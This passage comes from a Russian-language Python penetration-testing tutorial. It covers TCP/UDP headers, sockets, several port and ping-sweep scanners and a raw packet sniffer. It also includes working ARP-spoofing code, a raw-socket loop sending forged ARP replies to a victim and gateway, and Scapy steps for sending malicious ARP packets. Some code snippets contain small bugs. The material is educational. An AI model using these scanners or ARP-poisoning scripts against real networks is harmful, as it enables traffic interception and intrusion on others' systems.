    • Если бит SYN установлен в 1, ECE означает, что устройство поддерживает ECT.

  • URG - Это указывает на то, что поле Urgent Pointer содержит важные данные и требует обработки.

  • ACK- Это означает, что поле подтверждения имеет значение. Если ACK сброшен в 0, это означает, что пакет не содержит подтверждения.

  • PSH - Когда установлено, это запрос к принимающей станции на PUSH-данные (как только они поступают) в принимающее приложение без их буферизации.

  • RST - Флаг сброса имеет следующие особенности -

    • Используется для отказа от входящего соединения.

    • Используется для отклонения сегмента.

    • Он используется для перезапуска соединения.

  • SYN - Этот флаг используется для установки соединения между хостами.

  • FIN- Этот флаг используется для освобождения соединения, и после этого обмен данными больше не производится. Поскольку пакеты с флагами SYN и FIN имеют порядковые номера, они обрабатываются в правильном порядке.

Размер окна

Это поле используется для управления потоком между двумя станциями и указывает объем буфера (в байтах), который приемник выделил для сегмента, т. Е. Сколько данных ожидает приемник.

  • Checksum - Это поле содержит контрольную сумму заголовка, данных и псевдозаголовков.

  • Urgent Pointer - Указывает на байт срочных данных, если флаг URG установлен в 1.

  • Options- Это облегчает дополнительные параметры, которые не охватываются обычным заголовком. Поле опции всегда описывается 32-битными словами. Если это поле содержит данные менее 32-битного размера, заполнение используется для покрытия оставшихся битов, чтобы достичь 32-битной границы.

Если вы хотите подробно изучить TCP, перейдите по этой ссылке - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

Архитектура заголовка UDP (User Datagram Protocol)

UDP - это простой протокол без установления соединения, в отличие от TCP, ориентированного на установление соединения. Это требует минимального количества коммуникационного механизма. В UDP получатель не генерирует подтверждение приема пакета, и, в свою очередь, отправитель не ждет подтверждения отправленного пакета. Этот недостаток делает этот протокол ненадежным, а также упрощает обработку. Ниже приведена диаграмма заголовка UDP вместе с описанием полей -

Исходный порт

Эта 16-битная информация используется для идентификации порта источника пакета.

Порт назначения

Эта 16-битная информация используется для идентификации службы уровня приложения на конечном компьютере.

Длина

Поле длины указывает полную длину пакета UDP (включая заголовок). Это 16-битное поле, а минимальное значение - 8 байт, то есть размер самого заголовка UDP.

Контрольная сумма

В этом поле хранится значение контрольной суммы, созданное отправителем перед отправкой. IPv4 имеет это поле как необязательное, поэтому, когда поле контрольной суммы не содержит никакого значения, оно устанавливается в 0 и все его биты устанавливаются в ноль.

Для подробного изучения TCP перейдите по этой ссылке - Протокол дейтаграмм пользователя.

Сокеты - это конечные точки двунаправленного канала связи. Они могут обмениваться данными внутри процесса, между процессами на одной машине или между процессами на разных машинах. Аналогичным образом, сетевой сокет - это одна конечная точка в потоке связи между двумя программами, работающими в компьютерной сети, такой как Интернет. Это чисто виртуальная вещь и не означает никакого оборудования. Сетевой сокет можно идентифицировать по уникальной комбинации IP-адреса и номера порта. Сетевые сокеты могут быть реализованы с использованием различных типов каналов, таких как TCP, UDP и так далее.

Различные термины, относящиеся к сокету, используемому в сетевом программировании, следующие:

Домен

Домен - это семейство протоколов, которое используется в качестве транспортного механизма. Эти значения являются константами, такими как AF_INET, PF_INET, PF_UNIX, PF_X25 и т. Д.

Тип

Тип означает тип связи между двумя конечными точками, обычно SOCK_STREAM для протоколов с установлением соединения и SOCK_DGRAM для протоколов без установления соединения.

Протокол

Это может быть использовано для идентификации варианта протокола внутри домена и типа. Его значение по умолчанию - 0. Обычно это не учитывается.

Имя хоста

Это работает как идентификатор сетевого интерфейса. Имя хоста может быть строкой, адресом с четырьмя точками или адресом IPV6 в двоеточии (и, возможно, с точкой).

Порт

Каждый сервер ожидает звонков клиентов на один или несколько портов. Порт может быть номером порта Fixnum, строкой, содержащей номер порта, или именем службы.

Модуль сокетов Python для программирования сокетов

Чтобы реализовать программирование сокетов на python, нам нужно использовать модуль Socket. Ниже приведен простой синтаксис для создания сокета.

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

Здесь нам нужно импортировать библиотеку сокетов, а затем создать простой сокет. Ниже приведены различные параметры, используемые при создании сокета.

  • socket_family - Это либо AF_UNIX, либо AF_INET, как объяснялось ранее.

  • socket_type - Это либо SOCK_STREAM, либо SOCK_DGRAM.

  • protocol - Обычно это не учитывается, по умолчанию - 0.

Методы сокета

В этом разделе мы узнаем о различных методах сокета. Три различных набора методов сокета описаны ниже -

  • Методы серверных сокетов
  • Методы клиентских сокетов
  • Общие методы сокетов

Методы серверных сокетов

В архитектуре клиент-сервер есть один централизованный сервер, который предоставляет услуги, и многие клиенты получают услуги с этого централизованного сервера. Клиенты также делают запрос к серверу. Вот несколько важных методов серверных сокетов в этой архитектуре:

  • socket.bind() - Этот метод связывает адрес (имя хоста, номер порта) с сокетом.

  • socket.listen()- Этот метод в основном прослушивает подключения к сокету. Он запускает прослушиватель TCP. Backlog - аргумент этого метода, который указывает максимальное количество подключений в очереди. Его минимальное значение - 0, максимальное - 5.

  • socket.accept()- Это будет принимать TCP-клиентское соединение. Пара (conn, адрес) является парой возвращаемых значений этого метода. Здесь conn - это новый объект сокета, используемый для отправки и получения данных о соединении, а адрес - это адрес, привязанный к сокету. Перед использованием этого метода необходимо использовать методы socket.bind () и socket.listen ().

Методы клиентских сокетов

Клиент в архитектуре клиент-сервер запрашивает сервер и получает услуги от сервера. Для этого есть только один метод, предназначенный для клиентов -

  • socket.connect(address)- этот метод активно устанавливает соединение с сервером или, попросту говоря, этот метод соединяет клиента с сервером. Аргумент address представляет собой адрес сервера.

Общие методы сокетов

Помимо методов сокетов клиента и сервера, существуют некоторые общие методы сокетов, которые очень полезны при программировании сокетов. Общие методы сокета следующие:

  • socket.recv(bufsize)- Как следует из названия, этот метод получает сообщение TCP от сокета. Аргумент bufsize обозначает размер буфера и определяет максимальное количество данных, которые этот метод может получить за один раз.

  • socket.send(bytes)- Этот метод используется для отправки данных в сокет, который подключен к удаленному компьютеру. Аргумент bytes даст количество байтов, отправленных в сокет.

  • socket.recvfrom(data, address)- Этот метод получает данные из сокета. Этот метод возвращает две пары (данные, адрес) значения. Данные определяют полученные данные, а адрес указывает адрес сокета, отправляющего данные.

  • socket.sendto(data, address)- Как следует из названия, этот метод используется для отправки данных из сокета. Этот метод возвращает две пары (данные, адрес) значения. Данные определяют количество отправленных байтов, а адрес указывает адрес удаленной машины.

  • socket.close() - Этот метод закроет сокет.

  • socket.gethostname() - Этот метод вернет имя хоста.

  • socket.sendall(data)- Этот метод отправляет все данные в сокет, который подключен к удаленному компьютеру. Он будет небрежно передавать данные до тех пор, пока не произойдет ошибка, и если это произойдет, он использует метод socket.close (), чтобы закрыть сокет.

Программа для установления соединения между сервером и клиентом

Чтобы установить соединение между сервером и клиентом, нам нужно написать две разные программы Python, одну для сервера, а другую для клиента.

Серверная программа

В этой программе сокетов на стороне сервера мы будем использовать socket.bind()метод, который привязывает его к определенному IP-адресу и порту, чтобы он мог прослушивать входящие запросы на этом IP-адресе и порту. Позже мы используемsocket.listen()метод, который переводит сервер в режим прослушивания. Число, скажем 4, как аргументsocket.listen()означает, что 4 соединения остаются в ожидании, если сервер занят, и если 5-й сокет пытается подключиться, соединение отклоняется. Мы отправим сообщение клиенту, используяsocket.send()метод. Ближе к концу используемsocket.accept() и socket.close()метод для инициации и закрытия соединения соответственно. Ниже приведена программа на стороне сервера -

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

Клиентская программа

В программе сокета на стороне клиента нам нужно создать объект сокета. Затем мы подключимся к порту, на котором работает наш сервер - 12345 в нашем примере. После этого мы установим соединение с помощьюsocket.connect()метод. Затем, используяsocket.recv(), клиент получит сообщение от сервера. Наконец-тоsocket.close() метод закроет клиента.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

Теперь, после запуска серверной программы, мы получим на терминале следующий вывод:

socket is listening
Got connection from ('192.168.43.75', 49904)

И после запуска программы на стороне клиента мы получим следующий вывод на другом терминале:

Connection Established

Обработка исключений сетевых сокетов

Есть два блока, а именно try и exceptкоторый можно использовать для обработки исключений сетевых сокетов. Ниже приведен сценарий Python для обработки исключения.

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

Вывод

Вышеупомянутая программа генерирует следующий вывод -

No connection between client and server

В приведенном выше сценарии сначала мы создали объект сокета. После этого были предоставлены IP-адрес хоста и номер порта, на котором работает наш сервер - 12345 в нашем примере. Позже используется блок try и внутри него с помощьюsocket.bind()метод, мы попробуем привязать IP-адрес и порт. Мы используемsocket.settimeout()метод установки времени ожидания для клиента, в нашем примере мы устанавливаем 3 секунды. Используется блок except, который распечатает сообщение, если соединение не будет установлено между сервером и клиентом.

Сканирование портов можно определить как метод наблюдения, который используется для определения открытых портов, доступных на определенном хосте. Сетевой администратор, тестер проникновения или хакер могут использовать эту технику. Мы можем настроить сканер портов в соответствии с нашими требованиями, чтобы получить максимум информации от целевой системы.

Теперь рассмотрим информацию, которую мы можем получить после запуска сканирования порта -

  • Информация об открытых портах.

  • Информация о сервисах, запущенных на каждом порту.

  • Информация об ОС и MAC-адресе целевого хоста.

Сканирование портов похоже на вора, который хочет проникнуть в дом, проверяя каждую дверь и окно, чтобы увидеть, какие из них открыты. Как обсуждалось ранее, набор протоколов TCP / IP, используемый для связи через Интернет, состоит из двух протоколов, а именно TCP и UDP. Оба протокола имеют от 0 до 65 535 портов. Поскольку всегда рекомендуется закрывать ненужные порты нашей системы, по сути, необходимо заблокировать более 65000 дверей (портов). Эти 65535 портов можно разделить на следующие три диапазона:

  • Системные или общеизвестные порты: от 0 до 1023

  • Пользовательские или зарегистрированные порты: от 1024 до 49151

  • Динамические или частные порты: все> 49151

Сканер портов с использованием сокета

В нашей предыдущей главе мы обсуждали, что такое сокет. Теперь мы создадим простой сканер портов, используя сокет. Ниже приведен сценарий Python для сканера портов с использованием сокета.

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

Когда мы запускаем приведенный выше сценарий, он запрашивает имя хоста, вы можете указать любое имя хоста, например имя любого веб-сайта, но будьте осторожны, потому что сканирование портов может рассматриваться или истолковываться как преступление. Мы никогда не должны запускать сканер портов для любого веб-сайта или IP-адреса без явного письменного разрешения владельца сервера или компьютера, на который вы нацеливаетесь. Сканирование портов похоже на поход к чьему-то дому и проверка его дверей и окон. Поэтому желательно использовать сканер портов на локальном хосте или на собственном сайте (если есть).

Вывод

Приведенный выше сценарий генерирует следующий вывод -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

Выходные данные показывают, что в диапазоне от 50 до 500 (как указано в сценарии) этот сканер портов обнаружил два открытых порта - порт 135 и 445. Мы можем изменить этот диапазон и проверить наличие других портов.

Сканер портов с использованием ICMP (живые хосты в сети)

ICMP - это не сканирование портов, но он используется для проверки связи с удаленным хостом, чтобы проверить, работает ли он. Это сканирование полезно, когда нам нужно проверить несколько активных хостов в сети. Он включает отправку ICMP ECHO-запроса на хост, и, если этот хост активен, он вернет ICMP ECHO-ответ.

Вышеупомянутый процесс отправки запроса ICMP также называется сканированием ping, которое обеспечивается командой ping операционной системы.

Концепция Ping Sweep

На самом деле, в том или ином смысле, проверка связи также известна как проверка связи. Единственное отличие состоит в том, что проверка связи - это процедура определения доступности более чем одной машины в определенном диапазоне сети. Например, предположим, что мы хотим протестировать полный список IP-адресов, а затем, используя сканирование ping, то есть команду ping операционной системы, сканирование IP-адресов один за другим займет очень много времени. Вот почему нам нужно использовать скрипт ping sweep. Ниже приведен сценарий Python для поиска живых хостов с помощью проверки связи.

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

Приведенный выше сценарий состоит из трех частей. Сначала он выбирает диапазон IP-адресов для сканирования методом ping-развертки, разделяя его на части. Затем следует использование функции, которая выбирает команду для проверки связи в соответствии с операционной системой, и, наконец, она дает ответ о хосте и времени, затраченном на завершение процесса сканирования.

Вывод

Приведенный выше сценарий генерирует следующий вывод -

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

Приведенный выше вывод не показывает активных портов, потому что брандмауэр включен, а параметры входящего ICMP также отключены. После изменения этих настроек мы можем получить список активных портов в диапазоне от 1 до 100, представленный на выходе.

Сканер портов, использующий сканирование TCP

Чтобы установить TCP-соединение, хост должен выполнить трехстороннее рукопожатие. Выполните следующие действия, чтобы выполнить действие -

Step 1 − Packet with SYN flag set

На этом этапе система, которая пытается инициировать соединение, запускается с пакета, для которого установлен флаг SYN.

Step 2 − Packet with SYN-ACK flag set

На этом этапе целевая система возвращает пакет с установленными флагами SYN и ACK.

Step 3 − Packet with ACK flag set

Наконец, инициирующая система вернет пакет исходной целевой системе с установленным флагом ACK.

Тем не менее, возникает вопрос, можем ли мы выполнять сканирование портов с помощью метода эхо-запроса и ответа ICMP (сканер ping sweep), тогда зачем нам сканирование TCP? Основная причина этого заключается в том, что, предположим, если мы отключим функцию ответа ICMP ECHO или используем брандмауэр для пакетов ICMP, тогда сканер ping sweep не будет работать, и нам понадобится сканирование TCP.

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

Приведенный выше сценарий состоит из трех частей. Он выбирает диапазон IP-адресов для сканирования методом ping-развертки, разделяя его на части. Затем следует использование функции сканирования адреса, которая в дальнейшем использует сокет. Позже он дает ответ о хосте и времени, затраченном на завершение процесса сканирования. Результат = s. Оператор connect_ex ((addr, 135)) возвращает индикатор ошибки. Индикатор ошибки равен 0, если операция завершилась успешно, в противном случае это значение переменной errno. Здесь мы использовали порт 135; этот сканер работает в системе Windows. Другой порт, который здесь будет работать, - это 445 (Microsoft-DSActive Directory), и он обычно открыт.

Вывод

Приведенный выше сценарий генерирует следующий вывод -

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Сканер портов с резьбой для повышения эффективности

Как мы видели в приведенных выше случаях, сканирование портов может быть очень медленным. Например, вы можете увидеть время, затраченное на сканирование портов от 50 до 500, при использовании сканера портов сокетов, составляет 452.3990001678467. Чтобы повысить скорость, мы можем использовать потоки. Ниже приведен пример сканера портов с использованием потоковой передачи.

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

В приведенном выше сценарии нам нужно импортировать модуль потоковой передачи, который встроен в пакет Python. Мы используем концепцию блокировки потока,thread_lock = threading.Lock()чтобы избежать множественных изменений за раз. По сути, threading.Lock () позволяет одному потоку получать доступ к переменной за раз. Следовательно, не происходит двойной модификации.

Позже мы определим одну функцию threadader (), которая будет получать работу (порт) от рабочего цикла for. Затем вызывается метод portscan () для подключения к порту и печати результата. Номер порта передается как параметр. После выполнения задачи вызывается метод q.task_done ().

Теперь, после запуска приведенного выше скрипта, мы можем увидеть разницу в скорости сканирования от 50 до 500 портов. Это заняло всего 1,3589999675750732 секунды, что намного меньше 452,3990001678467, времени, затраченного сканером портов сокета для сканирования того же количества портов localhost.

Вывод

Приведенный выше сценарий генерирует следующий вывод -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

Обнюхивание или сниффинг сетевых пакетов - это процесс мониторинга и перехвата всех пакетов, проходящих через данную сеть, с помощью инструментов сниффинга. Это форма, в которой мы можем «прослушивать телефонные провода» и узнавать о разговоре. Его еще называютwiretapping и может применяться в компьютерных сетях.

Существует так много возможностей, что если набор портов коммутатора предприятия открыт, то один из их сотрудников сможет прослушивать весь трафик сети. Любой, кто находится в одном и том же физическом месте, может подключиться к сети с помощью кабеля Ethernet или подключиться к этой сети по беспроводной сети и прослушивать общий трафик.

Другими словами, Sniffing позволяет вам видеть все виды трафика, как защищенного, так и незащищенного. В правильных условиях и с правильными протоколами атакующая сторона может собрать информацию, которая может быть использована для дальнейших атак или вызвать другие проблемы для сети или владельца системы.

Что можно понюхать?

Можно понюхать следующую конфиденциальную информацию из сети -

  • Электронный трафик
  • Пароли FTP
  • Интернет-трафик
  • Пароли Telnet
  • Конфигурация роутера
  • Сеансы чата
  • DNS-трафик

Как работает обнюхивание?

Сниффер обычно переводит сетевой адаптер системы в неразборчивый режим, чтобы он прослушивал все данные, передаваемые в его сегменте.

Беспорядочный режим относится к уникальному способу оборудования Ethernet, в частности сетевых карт (NIC), который позволяет NIC получать весь трафик в сети, даже если он не адресован этой NIC. По умолчанию сетевая карта игнорирует весь трафик, который не адресован ей, что достигается путем сравнения адреса назначения пакета Ethernet с аппаратным адресом (MAC) устройства. Хотя это имеет смысл для работы в сети, режим без неразборчивой связи затрудняет использование программного обеспечения для мониторинга и анализа сети для диагностики проблем с подключением или учета трафика.

Сниффер может непрерывно отслеживать весь трафик, поступающий на компьютер через сетевую карту, декодируя информацию, заключенную в пакеты данных.

Типы обнюхивания

Обнюхивание может быть активным или пассивным. Теперь мы узнаем о различных типах обнюхивания.

Пассивное обнюхивание

При пассивном сниффинге трафик блокируется, но никак не изменяется. Пассивное сниффинг позволяет только слушать. Он работает с устройствами Hub. На устройстве-концентраторе трафик отправляется на все порты. В сети, которая использует концентраторы для соединения систем, все хосты в сети могут видеть трафик. Таким образом, злоумышленник может легко перехватить проходящий трафик.

Хорошая новость заключается в том, что в последнее время хабы практически устарели. В большинстве современных сетей используются коммутаторы. Следовательно, пассивное обнюхивание не более эффективно.

Активное обнюхивание

При активном сниффинге трафик не только блокируется и контролируется, но также может быть каким-то образом изменен в зависимости от атаки. Активное прослушивание используется для прослушивания сети на основе коммутатора. Он включает в себя внедрение пакетов разрешения адресов (ARP) в целевую сеть для лавинной рассылки в таблице адресуемой памяти (CAM) коммутатора. CAM отслеживает, какой хост к какому порту подключен.

Ниже приведены методы активного обнюхивания.

  • MAC-флуд
  • DHCP-атаки
  • Отравление DNS
  • Спуфинговые атаки
  • Отравление ARP

Влияние обнюхивания на протоколы

Такие протоколы, как tried and true TCP/IPникогда не создавались с учетом требований безопасности. Такие протоколы не оказывают большого сопротивления потенциальным злоумышленникам. Ниже приведены различные протоколы, которые легко поддаются анализу.

HTTP

Он используется для отправки информации в виде открытого текста без какого-либо шифрования и, следовательно, является реальной целью.

SMTP (простой протокол передачи почты)

SMTP используется при передаче электронной почты. Этот протокол эффективен, но не включает никакой защиты от перехвата.

NNTP (протокол передачи сетевых новостей)

Он используется для всех видов общения. Основным недостатком этого является то, что данные и даже пароли отправляются по сети в виде открытого текста.

POP (протокол почтового отделения)

POP строго используется для получения электронных писем с серверов. Этот протокол не включает защиту от сниффинга, потому что он может быть перехвачен.

FTP (протокол передачи файлов)

FTP используется для отправки и получения файлов, но не предлагает никаких функций безопасности. Все данные отправляются в виде открытого текста, который можно легко проанализировать.

IMAP (протокол доступа к сообщениям в Интернете)

IMAP аналогичен SMTP по своим функциям, но очень уязвим для сниффинга.

Telnet

Telnet отправляет все (имена пользователей, пароли, нажатия клавиш) по сети в виде открытого текста и, следовательно, его можно легко перехватить.

Снифферы - это не тупые утилиты, позволяющие просматривать только живой трафик. Если вы действительно хотите проанализировать каждый пакет, сохраните захват и просматривайте его, когда позволяет время.

Реализация с использованием Python

Перед реализацией сниффера сырых сокетов давайте разберемся с struct метод, как описано ниже -

struct.pack (fmt, a1, a2,…)

Как следует из названия, этот метод используется для возврата строки, которая упакована в соответствии с заданным форматом. Строка содержит значения a1, a2 и так далее.

struct.unpack (fmt, строка)

Как следует из названия, этот метод распаковывает строку в соответствии с заданным форматом.

В следующем примере IP-заголовка необработанного сниффера сокета, который представляет собой следующие 20 байтов в пакете, и среди этих 20 байтов нас интересуют последние 8 байтов. Последние байты показывают, анализируются ли IP-адрес источника и назначения -

Теперь нам нужно импортировать некоторые базовые модули следующим образом:

import socket
import struct
import binascii

Теперь мы создадим сокет, у которого будет три параметра. Первый параметр сообщает нам о пакетном интерфейсе - PF_PACKET для Linux и AF_INET для Windows; второй параметр сообщает нам, что это необработанный сокет, а третий параметр сообщает нам об интересующем нас протоколе —0x0800, используемом для протокола IP.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

Теперь нам нужно вызвать recvfrom() метод получения пакета.

while True:
   packet = s.recvfrom(2048)

В следующей строке кода мы копируем заголовок Ethernet -

ethernet_header = packet[0][0:14]

С помощью следующей строки кода мы разбираем и распаковываем заголовок с struct метод -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

Следующая строка кода вернет кортеж с тремя шестнадцатеричными значениями, преобразованными с помощью hexify в binascii модуль -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

Теперь мы можем получить заголовок IP, выполнив следующую строку кода -

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

Точно так же мы также можем проанализировать заголовок TCP.

ARP можно определить как протокол без сохранения состояния, который используется для сопоставления адресов Интернет-протокола (IP) с адресами физических машин.

Работа ARP

В этом разделе мы узнаем о работе ARP. Рассмотрим следующие шаги, чтобы понять, как работает ARP:

  • Step 1 - Во-первых, когда машина хочет связаться с другой, она должна искать физический адрес в своей таблице ARP.

  • Step 2 - Если он найдет физический адрес машины, пакет после преобразования в нужную длину будет отправлен на желаемую машину.

  • Step 3 - Но если запись для IP-адреса в таблице не найдена, ARP_request будет транслироваться по сети.

  • Step 4- Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какая-либо из машин в сети идентифицирует адрес, она ответит на ARP_request вместе со своим IP и MAC-адресом. Такое сообщение ARP называется ARP_reply.

  • Step 5 - Наконец, машина, которая отправляет запрос, сохранит адресную пару в своей таблице ARP, и вся связь будет иметь место.

Что такое спуфинг ARP?

Его можно определить как тип атаки, при которой злоумышленник отправляет поддельный запрос ARP по локальной сети. Отравление ARP также известно как спуфинг ARP. Это можно понять с помощью следующих пунктов -

  • Первый спуфинг ARP для перегрузки коммутатора приведет к созданию огромного количества фальсифицированных пакетов запроса и ответа ARP.

  • Тогда переключатель перейдет в режим пересылки.

  • Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.

Реализация с использованием Python

В этом разделе мы поймем реализацию Python спуфинга ARP. Для этого нам понадобится три MAC-адреса - первый жертвы, второй злоумышленника и третий шлюза. Наряду с этим нам также необходимо использовать код протокола ARP.

Давайте импортируем необходимые модули следующим образом -

import socket
import struct
import binascii

Теперь мы создадим сокет, у которого будет три параметра. Первый параметр сообщает нам о пакетном интерфейсе (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли это сырым сокетом, а третий параметр сообщает нам об интересующем нас протоколе (здесь 0x0800 используется для IP протокол).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Теперь мы предоставим Mac-адрес злоумышленника, жертвы и шлюзовой машины -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Нам нужно указать код протокола ARP, как показано -

code ='\x08\x06'

Два пакета Ethernet, один для машины-жертвы, а другой для машины-шлюза, были созданы следующим образом:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Следующие строки кода приведены в порядке в соответствии с заголовком ARP:

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Теперь нам нужно указать IP-адреса шлюзовой машины и машин-жертв (предположим, у нас есть следующие IP-адреса для шлюзов и машин-жертв):

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Преобразуйте указанные выше IP-адреса в шестнадцатеричный формат с помощью socket.inet_aton() метод.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Выполните следующую строку кода, чтобы изменить IP-адрес шлюза.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Реализация с использованием Scapy в Kali Linux

Подмена ARP может быть реализована с помощью Scapy в Kali Linux. Выполните следующие шаги, чтобы выполнить то же самое -

Шаг 1. Адрес атакующей машины

На этом шаге мы найдем IP-адрес атакующей машины, выполнив команду ifconfig в командной строке Kali Linux.

Шаг 2: Адрес целевой машины

На этом этапе мы найдем IP-адрес целевой машины, выполнив команду ifconfig в командной строке Kali Linux, которую нам нужно открыть на другой виртуальной машине.

Шаг 3. Проверьте связь с целевой машиной

На этом этапе нам нужно пропинговать целевую машину с машины злоумышленника с помощью следующей команды -

Ping –c 192.168.43.85(say IP address of target machine)

Шаг 4: кеш ARP на целевой машине

Мы уже знаем, что две машины используют пакеты ARP для обмена MAC-адресами, поэтому после шага 3 мы можем запустить следующую команду на целевой машине, чтобы увидеть кеш ARP:

arp -n

Шаг 5: Создание ARP-пакета с помощью Scapy

Мы можем создавать пакеты ARP с помощью Scapy следующим образом:

scapy
arp_packt = ARP()
arp_packt.display()

Шаг 6: Отправка вредоносного ARP-пакета с помощью Scapy

Мы можем отправлять вредоносные ARP-пакеты с помощью Scapy следующим образом:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Теперь, если мы снова проверим кеш ARP на целевой машине, мы увидим фальшивый адрес «1.1.1.1».

Беспроводные системы обладают большой гибкостью, но, с другой стороны, это также приводит к серьезным проблемам с безопасностью. И как это может стать серьезной проблемой безопасности - ведь злоумышленникам в случае беспроводного подключения просто нужно иметь сигнал для атаки, а не физический доступ, как в случае проводной сети. Тестирование беспроводных систем на проникновение является более простой задачей, чем тестирование проводных сетей. Мы не можем применять хорошие меры физической безопасности против беспроводной среды, если мы будем расположены достаточно близко, мы сможем «слышать» (или, по крайней мере, ваш беспроводной адаптер может слышать) все, что течет по воздуху.

Предпосылки

Прежде чем мы перейдем к изучению пентестинга беспроводной сети, давайте обсудим терминологию и процесс связи между клиентом и беспроводной системой.

Важная терминология

Давайте теперь изучим важную терминологию, связанную с пентестированием беспроводной сети.

Точка доступа (AP)

Точка доступа (AP) является центральным узлом в беспроводных реализациях 802.11. Эта точка используется для подключения пользователей к другим пользователям в сети, а также может служить точкой соединения между беспроводной LAN (WLAN) и фиксированной проводной сетью. В WLAN AP - это станция, которая передает и принимает данные.

Идентификатор набора услуг (SSID)

